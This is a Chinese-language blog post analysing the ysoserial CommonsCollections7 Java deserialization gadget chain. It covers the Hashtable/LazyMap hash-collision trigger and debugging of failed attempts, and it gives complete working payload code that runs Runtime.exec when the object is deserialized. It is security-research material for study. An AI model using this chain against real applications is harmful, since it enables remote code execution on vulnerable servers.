YsoSerial 工具常用Payload分析之Common-Collections7(四)


前言

YsoSerial Common-Collection3.2.1 反序列化利用鏈終於來到最后一個,回顧一下:

  1. 以InvokerTranformer為基礎通過動態代理觸發AnnotationInvocationHandler里面的Invoker方法調用LazyMap get方式的CC1
  2. 以TemplatesImpl為基礎,通過TrAXFilter、InstantiateTransformer組合綁定LazyMap動態代理觸發AnnotationInvocationHandler#Invoker方法方式的CC3
  3. 在CC1 Lazymap的基礎上進一步包裝成TiedMapEntry,並以BadAttributeValueExpException調用TiedMapEntry#toString方法的CC5
  4. 在CC5基礎上將觸發換成HashMap調用hashCode方式的CC6

調用棧

接下來先看下cc7的代碼

public Hashtable getObject(final String command) throws Exception {

        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{command};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                execArgs),
            new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        return hashtable;
    }

抓一下調用棧,可以看到依次調用的是Hashtable#reconstitutionPut,AdstractMap#equals方法。然后調用LazyMap的get方法。

image-20210729181133734

其實調用鏈出來后一切都索然無味了,但我們還是要分析下調用鏈各個環節的一些關鍵點,首先看下Hashtable的readObject方法源碼:

image-20210803190222317

首先從序列化數據里面讀取了elements,然后for循環便利elements次讀取序列化里面的key、value值,這個elements和key、value分別是什么東西呢,找到writeObject尋找答案:

image-20210803191156410

寫入了類變量count、然后迭代分別寫入了類變量table中entry的key、value,其實就是hashtable中的key、value,只不過內部實現是通過entry鏈表實現,然后跟進reconstitutionPut, 這里有個key的關鍵方法e.key。equals,結合前文我們分析過TiedMapEntry的equals可以觸發Lazymap的get進而RCE,其實直接使用TiedMapEntry#equal也是可以觸發的,這里就不展開TiedMapEntry吧,沒啥太大的意義,就按照Ysoserial作者思路來。

image-20210803191518907

挖掘利用鏈

前面文章介紹了LazyMap#Get()方法觸發RCE的方法,來回憶下LazyMap觸發的調用鏈,當LazyMap調用get方法是,回去尋找綁定LazyMap中的是否存在key,不存在就通過transform方法去生成,而這個transformer是惡意的,那就觸發命令執行:

image-20210804145136068

image-20210804145237905

其實下一步就放在有誰能夠調用lazyMap的get方法,除開之前介紹的tiedMapEntity之外,還有LazyMap本身也能調用,在LazyMap綁定的是HashMap的情況下,調用LazyMap#equals其實就是調用HashMap的接口AbstractMap的equal方法,可以使用IDEA的findUsage方法,也能查到調用:

image-20210804145916693

那觸發的方法擴展到誰調用LazyMap的equal就好了,而這就和HashTable就綁定起來了,HashTable的readObject里面就有觸發,但要滿足兩個條件:

image-20210804150601243

  1. table[index] 不為null。
  2. 因為&&是從左向右執行,所以要e.hash等於當前實參key的hash。

首先分析下Hashtable#readObject 的整體邏輯,因為在Hashtable中實現邏輯的Entry對象被transient修飾,所以序列化的時候不能將table數據放到序列化數據里面,所以在writeObject時會單獨寫入key、value,readObject時重新put進entry當中。table的數量通過類變量count控制。

image-20210804150927071

在迭代第一次傳入key、value時tab始終為空,所以要調用到equal至少要迭代兩次,也就要求table中的元素大於等於2,且兩個元素的key的hash值要一樣,那在構造除開hash一樣,還要求equals執行為false,不然就會用新元素的value替換舊元素,這樣table總的size就只為1,無法觸發反序列化RCE。

尋找hashCode()一樣,但又不相等的元素

那真的存在這樣的兩個值嗎?答案當然是存在,以String為例,我們看一下String的hashCode算法

image-20210804152901920

核心邏輯就是:

h=31*h + val[i]

h初始值為0,將字符串拆分為字符,每次對結果乘以31再累加,那可以確定相同的h值,肯定對應不同的val[i]解,比如aabB,看一下結果:

image-20210804162125084

那是不是我們就找到了符合作為Hashtable的key了,其實不是,我們想要執行的其實是Lazy Map的hashcode一致,內部其實是map的hashcode,找一下hashmap的實現,對key做hashcode,然后異或上value的hashcode:

image-20210804180005690

其實只要key的hashcode一樣,然后value一樣就能滿足,試驗下:

image-20210804182214242

結果:

image-20210804185607963

創造兩個元素的HashTable

在上面已經找到hash一樣的HashMap的前提下,綁定到LazyMap上,然后分別push進HashTable,然后進行反序列化:

 //        Hashtable
        String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";

        System.out.println(System.getProperty("java.version"));

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };
        Transformer[] fakeTransfomer = new Transformer[]{
                new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);  // 生成了LazyMap  不可反序列化的map
        lazyMap1.put("aa",1);


        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("bB",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,2);
        ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
        String path =  serialize(hashtable);
        unserialize(path);

執行下,命令並沒有執行:

image-20210804190844080

看樣子什么地方出了問題,打印下Hashtable的size,發現size為1,說明第二次put的時候出了問題,調試下發現問題出在了,AbstractMap上,因為我們為了避免序列化時執行命令將chainedTransfomer里面的transfoemer數組用constranTransfrom(1) 替代,命名為fakeTransfomer,而這個fakeTransformer執行后的結果為1,和hashtable的value1一致,所以會返回true。

image-20210804191547228

hash和equl的判斷都為true,就會進入if分支,完成新舊變量替換,而不會新增元素,所以size始終為1

image-20210804191719867

修改fakeTransfomer為一個空數組,或者將hashTable的value為其他值,為了更通用這里采用空數組的方式:

Transformer[] fakeTransfomer = new Transformer[]{
                
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);

再次執行,代碼還是沒有執行,打印size也是2,是滿足條件的,但為啥命令沒有執行呢,再次調試,發現問題出在了equal的判斷上,equal的判斷要求首先要滿足兩個hashMap的元素數量一致才能進行下一步的判斷,而在put時也會執行equal,調用到m.get()方法,而m是一個LazyMap,在LazyMap#get() 方法存在一個特性,就是在綁定到HashMap沒有這個元素的時候,動態添加一個這個沒有的元素,

image-20210804192230963

所以在LazyMap2進行put操作時,會去get(lazyMap1.key),lazyMap1的key為"aa",所以lazyMap2會多一個aa為key,aa為value的元素(transformer數組為空時的執行結果),在put后打印下lazyMap2驗證下:

image-20210804192442862

果然,因為兩個map Size的判斷在前面,這樣就不會執行后續進行RCE的get方法

image-20210804193006694

所以,需要我們在第二次put后,把第二個hashmap進行remove一個key為aa的操作,完整代碼:

//        Hashtable
        String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";

        System.out.println(System.getProperty("java.version"));

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };
        Transformer[] fakeTransfomer = new Transformer[]{

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);  // 生成了LazyMap  不可反序列化的map
        lazyMap1.put("aa",1);


        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("bB",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,2);
        lazyMap2.remove("aa");
        System.out.println(hashtable.size());
        ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
        String path =  serialize(hashtable);
        unserialize(path);

執行一下,命令成功執行:

image-20210804193319401

YsoSerial的代碼幾乎一致僅就把我這里的aa和aB替換成yy和zZ。

總結

這篇文章分析了下CC7的原理,本來上周五應該就能發出文章的,但是卻因為文中那個fakeTransfomer的原因一直被卡住,不知道問題出在哪里,找了很多朋友看也沒看出問題,最終還是老老實實一步一步的調試才發現問題,以前只關注transformer的構造,沒關注最終的返回,難搞~,期間也去學習了下Java的值傳遞類型和HashMap實現原理等,消耗了比較長的時間。

這是Common-collections 3.2.1的最后一條利用鏈分析,這個也是沒有版本依賴的,我用jdk1.8u261也是能夠運行的,總結下代碼中關鍵點:

  1. 要找到兩個元素hashcode一樣,但euqal的結果又為false的hashmap。
  2. 使用fakeTransfomer時要關注返回滿足HashTable元素大雨等於2。
  3. 在第二次put過后要對第二個HashMap進行remove(remove第一個hashmap的key)。

公眾號

歡迎關注我的公眾號


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM